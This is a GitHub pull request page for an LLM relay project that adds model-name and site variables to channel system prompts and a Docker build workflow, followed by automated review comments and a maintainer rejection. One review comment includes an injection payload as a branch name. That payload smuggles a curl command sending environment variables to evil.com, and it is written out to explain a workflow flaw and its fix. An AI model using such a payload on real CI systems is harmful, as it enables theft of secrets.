feat: 渠道 System Prompt 支持变量替换 {model_name} {site_name} {site_url} - #6119
feat: 渠道 System Prompt 支持变量替换 {model_name} {site_name} {site_url}#6119Wu-jiyan wants to merge 4 commits into
Conversation
在渠道设置的 System Prompt 字段中支持占位符变量:
- {model_name} → 当前请求的模型名
- {site_name} → 站点名称 (common.SystemName)
- {site_url} → 站点地址 (system_setting.ServerAddress)
复用的渠道 System Prompt 原有处理流程,无需模型表或前端改动。
在渠道配置的 System Prompt 输入框下方显示可用变量提示:
{model_name}、{site_name}、{site_url}
WalkthroughChannel system prompts now expand ChangesChannel system prompt variables
GHCR Docker publishing
Estimated code review effort: 3 (Moderate) | ~25 minutes Sequence Diagram(s)sequenceDiagram
participant ProviderHandler
participant ApplyChannelSystemPromptVariables
participant ProviderRequest
ProviderHandler->>ApplyChannelSystemPromptVariables: Expand channel system prompt
ApplyChannelSystemPromptVariables-->>ProviderHandler: Return systemPrompt
ProviderHandler->>ProviderRequest: Inject or merge systemPrompt
Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@relay/gemini_handler.go`:
- Around line 99-120: Move the system prompt expansion block identified by
ApplyChannelSystemPromptVariables and request.SystemInstructions before the
thinking adapter that can modify info.OriginModelName. Keep the existing prompt
initialization, merge behavior, and override context handling unchanged so
{model_name} expands using the originally requested model name.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: b07fffd8-e9f4-4390-910f-5e543148e9e5
📒 Files selected for processing (9)
relay/channel/codex/adaptor.gorelay/chat_completions_via_responses.gorelay/claude_handler.gorelay/compatible_handler.gorelay/gemini_handler.gorelay/helper/channel_system_prompt.goweb/default/src/features/channels/components/drawers/channel-mutate-drawer.tsxweb/default/src/i18n/locales/en.jsonweb/default/src/i18n/locales/zh.json
| systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info) | ||
| if request.SystemInstructions == nil { | ||
| request.SystemInstructions = &dto.GeminiChatContent{ | ||
| Parts: []dto.GeminiPart{ | ||
| {Text: info.ChannelSetting.SystemPrompt}, | ||
| {Text: systemPrompt}, | ||
| }, | ||
| } | ||
| } else if len(request.SystemInstructions.Parts) == 0 { | ||
| request.SystemInstructions.Parts = []dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}} | ||
| request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}} | ||
| } else if info.ChannelSetting.SystemPromptOverride { | ||
| common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true) | ||
| merged := false | ||
| for i := range request.SystemInstructions.Parts { | ||
| if request.SystemInstructions.Parts[i].Text == "" { | ||
| continue | ||
| } | ||
| request.SystemInstructions.Parts[i].Text = info.ChannelSetting.SystemPrompt + "\n" + request.SystemInstructions.Parts[i].Text | ||
| request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text | ||
| merged = true | ||
| break | ||
| } | ||
| if !merged { | ||
| request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}, request.SystemInstructions.Parts...) | ||
| request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...) |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win
{model_name} may substitute the modified model name instead of the originally requested one.
The thinking adapter at lines 73–89 can modify info.OriginModelName (appending -nothinking) before the system prompt expansion at line 99. This means {model_name} would resolve to e.g. gemini-2.5-flash-nothinking rather than the user's originally requested model name, inconsistent with the PR's stated behavior.
The system prompt expansion block and the thinking adapter block are independent (one modifies request.SystemInstructions, the other modifies request.GenerationConfig.ThinkingConfig and info.OriginModelName), so moving the expansion before the thinking adapter is safe.
♻️ Proposed fix: move system prompt expansion before thinking adapter
adaptor.Init(info)
+ if info.ChannelSetting.SystemPrompt != "" {
+ systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
+ if request.SystemInstructions == nil {
+ request.SystemInstructions = &dto.GeminiChatContent{
+ Parts: []dto.GeminiPart{
+ {Text: systemPrompt},
+ },
+ }
+ } else if len(request.SystemInstructions.Parts) == 0 {
+ request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}}
+ } else if info.ChannelSetting.SystemPromptOverride {
+ common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true)
+ merged := false
+ for i := range request.SystemInstructions.Parts {
+ if request.SystemInstructions.Parts[i].Text == "" {
+ continue
+ }
+ request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text
+ merged = true
+ break
+ }
+ if !merged {
+ request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...)
+ }
+ }
+ }
+
if model_setting.GetGeminiSettings().ThinkingAdapterEnabled {
if isNoThinkingRequest(request) {
// check is thinking
if !strings.Contains(info.OriginModelName, "-nothinking") {
// try to get no thinking model price
noThinkingModelName := info.OriginModelName + "-nothinking"
containPrice := helper.HasModelBillingConfig(noThinkingModelName)
if containPrice {
info.OriginModelName = noThinkingModelName
info.UpstreamModelName = noThinkingModelName
}
}
}
if request.GenerationConfig.ThinkingConfig == nil {
gemini.ThinkingAdaptor(request, info)
}
}
- if info.ChannelSetting.SystemPrompt != "" {
- systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info)
- ...
- }📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| systemPrompt := helper.ApplyChannelSystemPromptVariables(info.ChannelSetting.SystemPrompt, info) | |
| if request.SystemInstructions == nil { | |
| request.SystemInstructions = &dto.GeminiChatContent{ | |
| Parts: []dto.GeminiPart{ | |
| {Text: info.ChannelSetting.SystemPrompt}, | |
| {Text: systemPrompt}, | |
| }, | |
| } | |
| } else if len(request.SystemInstructions.Parts) == 0 { | |
| request.SystemInstructions.Parts = []dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}} | |
| request.SystemInstructions.Parts = []dto.GeminiPart{{Text: systemPrompt}} | |
| } else if info.ChannelSetting.SystemPromptOverride { | |
| common.SetContextKey(c, constant.ContextKeySystemPromptOverride, true) | |
| merged := false | |
| for i := range request.SystemInstructions.Parts { | |
| if request.SystemInstructions.Parts[i].Text == "" { | |
| continue | |
| } | |
| request.SystemInstructions.Parts[i].Text = info.ChannelSetting.SystemPrompt + "\n" + request.SystemInstructions.Parts[i].Text | |
| request.SystemInstructions.Parts[i].Text = systemPrompt + "\n" + request.SystemInstructions.Parts[i].Text | |
| merged = true | |
| break | |
| } | |
| if !merged { | |
| request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: info.ChannelSetting.SystemPrompt}}, request.SystemInstructions.Parts...) | |
| request.SystemInstructions.Parts = append([]dto.GeminiPart{{Text: systemPrompt}}, request.SystemInstructions.Parts...) |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@relay/gemini_handler.go` around lines 99 - 120, Move the system prompt
expansion block identified by ApplyChannelSystemPromptVariables and
request.SystemInstructions before the thinking adapter that can modify
info.OriginModelName. Keep the existing prompt initialization, merge behavior,
and override context handling unchanged so {model_name} expands using the
originally requested model name.
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 19-22: Update the actions/checkout step in the workflow to set
persist-credentials to false, while preserving the existing inputs.branch ref
and checkout behavior. This prevents the GitHub token from being written to the
repository’s git configuration during the Docker build.
- Around line 34-39: Update the “Resolve image tag” step identified by id “tag”
to pass inputs.branch through the step’s environment rather than interpolating
it directly inside the shell script. Read the environment variable when
computing TAG, preserving the existing normalization and GitHub output behavior.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: deab885a-3a1f-41b2-905c-031720ccb9cd
📒 Files selected for processing (1)
.github/workflows/docker-build-ghcr.yml
| - name: Check out branch | ||
| uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 | ||
| with: | ||
| ref: ${{ inputs.branch }} |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Checkout persists GitHub token in .git/config.
actions/checkout defaults to persist-credentials: true, which writes the GITHUB_TOKEN into the local git config. During a Docker build, untrusted RUN steps or a malicious Dockerfile could read and exfiltrate it. Set persist-credentials: false since this job only needs the source tree, not git push access.
🔒 Proposed fix
- name: Check out branch
uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5
with:
ref: ${{ inputs.branch }}
+ persist-credentials: false📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Check out branch | |
| uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 | |
| with: | |
| ref: ${{ inputs.branch }} | |
| - name: Check out branch | |
| uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 | |
| with: | |
| ref: ${{ inputs.branch }} | |
| persist-credentials: false |
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 19-22: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/docker-build-ghcr.yml around lines 19 - 22, Update the
actions/checkout step in the workflow to set persist-credentials to false, while
preserving the existing inputs.branch ref and checkout behavior. This prevents
the GitHub token from being written to the repository’s git configuration during
the Docker build.
Source: Linters/SAST tools
| - name: Resolve image tag | ||
| id: tag | ||
| run: | | ||
| TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g') | ||
| echo "tag=$TAG" >> "$GITHUB_OUTPUT" | ||
| echo "Building image: ghcr.io/${{ github.repository }}:$TAG" |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Script injection via unescaped inputs.branch interpolation.
${{ inputs.branch }} is expanded directly into the shell run block on line 37. A workflow dispatcher with write access could pass a branch name containing shell metacharacters (e.g. "; curl evil.com -d "$(env)" #), achieving arbitrary code execution in the build job. Pass the input through an environment variable instead so the shell sees it as data, not code.
🔒 Proposed fix
- name: Resolve image tag
id: tag
+ env:
+ BRANCH: ${{ inputs.branch }}
run: |
- TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
+ TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "Building image: ghcr.io/${{ github.repository }}:$TAG"📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Resolve image tag | |
| id: tag | |
| run: | | |
| TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g') | |
| echo "tag=$TAG" >> "$GITHUB_OUTPUT" | |
| echo "Building image: ghcr.io/${{ github.repository }}:$TAG" | |
| - name: Resolve image tag | |
| id: tag | |
| env: | |
| BRANCH: ${{ inputs.branch }} | |
| run: | | |
| TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g') | |
| echo "tag=$TAG" >> "$GITHUB_OUTPUT" | |
| echo "Building image: ghcr.io/${{ github.repository }}:$TAG" |
🧰 Tools
🪛 zizmor (1.26.1)
[error] 37-37: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/docker-build-ghcr.yml around lines 34 - 39, Update the
“Resolve image tag” step identified by id “tag” to pass inputs.branch through
the step’s environment rather than interpolating it directly inside the shell
script. Read the environment variable when computing TAG, preserving the
existing normalization and GitHub output behavior.
Source: Linters/SAST tools
There was a problem hiding this comment.
Actionable comments posted: 1
♻️ Duplicate comments (1)
.github/workflows/docker-build-ghcr.yml (1)
19-22: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick winCheckout still persists GitHub token in
.git/config(previously flagged).
persist-credentials: falsehas not been added. TheGITHUB_TOKENis still written to git config during checkout and is readable by anyRUNstep in the Docker build.🔒 Proposed fix
- name: Check out branch uses: actions/checkout@34e114876b0b11c390a56381ad16d13914f8d5 with: ref: ${{ inputs.branch }} + persist-credentials: false🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/docker-build-ghcr.yml around lines 19 - 22, Add persist-credentials: false to the actions/checkout step identified by the “Check out branch” name, alongside the existing branch ref configuration, so the GITHUB_TOKEN is not persisted in .git/config or exposed during Docker build steps.Source: Linters/SAST tools
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 37-38: Update the workflow’s TAG computation to avoid directly
interpolating inputs.branch into shell code. Expose the branch input through the
step’s environment and have the shell command read that environment variable
before applying lowercase conversion and sanitization; leave the REPO
computation unchanged.
---
Duplicate comments:
In @.github/workflows/docker-build-ghcr.yml:
- Around line 19-22: Add persist-credentials: false to the actions/checkout step
identified by the “Check out branch” name, alongside the existing branch ref
configuration, so the GITHUB_TOKEN is not persisted in .git/config or exposed
during Docker build steps.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro
Run ID: 951721fc-f356-449a-9dcd-a7d820595dcb
📒 Files selected for processing (1)
.github/workflows/docker-build-ghcr.yml
| REPO=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]') | ||
| TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g') |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Script injection via unescaped inputs.branch still present (previously flagged).
${{ inputs.branch }} is still interpolated directly into the shell script. A dispatcher with write access can pass a branch name containing shell metacharacters to achieve arbitrary code execution. Pass it through an environment variable instead.
🔒 Proposed fix
- name: Resolve image tag
id: tag
+ env:
+ BRANCH: ${{ inputs.branch }}
run: |
REPO=$(echo "${{ github.repository }}" | tr '[:upper:]' '[:lower:]')
- TAG=$(echo "${{ inputs.branch }}" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
+ TAG=$(echo "$BRANCH" | tr '[:upper:]' '[:lower:]' | sed 's/[^a-z0-9_.-]/-/g')
echo "repo=$REPO" >> "$GITHUB_OUTPUT"
echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "Building image: ghcr.io/${REPO}:$TAG"🧰 Tools
🪛 zizmor (1.26.1)
[error] 38-38: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/docker-build-ghcr.yml around lines 37 - 38, Update the
workflow’s TAG computation to avoid directly interpolating inputs.branch into
shell code. Expose the branch input through the step’s environment and have the
shell command read that environment variable before applying lowercase
conversion and sanitization; leave the REPO computation unchanged.
Source: Linters/SAST tools
|
请勿提交奸商功能 |
改动说明
在渠道配置的 System Prompt 字段中支持占位符变量,请求时自动替换。
支持的变量
{model_name}info.OriginModelName{site_name}{site_url}使用示例
渠道 System Prompt 中填写:
实际请求时会自动替换为对应的实际值。
改动文件
后端(6 文件):
relay/helper/channel_system_prompt.go— 新增变量替换函数relay/compatible_handler.go— OpenAI 兼容路径relay/claude_handler.go— Claude 路径relay/gemini_handler.go— Gemini 路径relay/chat_completions_via_responses.go— Responses 路径relay/channel/codex/adaptor.go— Codex 路径前端(3 文件):
channel-mutate-drawer.tsx— System Prompt 输入框下方添加可用变量提示zh.json/en.json— 新增 "可用变量" 翻译设计要点
Summary by CodeRabbit
New Features
{model_name},{site_name}, and{site_url}.Documentation
Chores